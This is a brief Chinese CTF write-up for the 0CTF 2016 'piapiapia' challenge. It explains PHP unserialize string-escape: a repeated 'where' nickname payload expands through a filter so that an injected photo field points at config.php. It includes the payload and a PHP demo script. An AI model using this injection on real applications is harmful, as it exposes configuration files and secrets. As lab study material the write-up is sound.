BUUCTF |[0CTF 2016]piapiapia

步骤：

nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

这题大佬的WP已经很详细了，我就记录一下其中一个点：为什么nickname要传那一堆？

<?php
function filter($string)
{
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);

		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
}
$s = 'a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere"};s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}';
var_dump(filter($s));
var_dump(unserialize($s));
var_dump('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&');
$a = filter($s);
var_dump($a);
var_dump(unserialize($a));
var_dump('**************************************************');
// $profile = 'a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:8:"sea_sand";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}';
$profile = 'a:4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:8:"ss@q.com";s:8:"nickname";s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";s:5:"photo";s:10:"config.php";}s:39:"upload/804f743824c0451b2f60d81b63b6a900";}';

var_dump($profile);
var_dump(unserialize($profile));

where的code长度为170，变成hacker后长度为204，二者刚好差34。直接传一个204的where（此时的序列化语句是不正确的）让filter帮我们替换成hacker构造一个204的（这个序列化语句就是正确的了），然后后面的34的序列化语句，就是我们要传给photo的，把原来的photo序列化语句给挤出去。

参考：

https://blog.csdn.net/zz_Caleb/article/details/96777110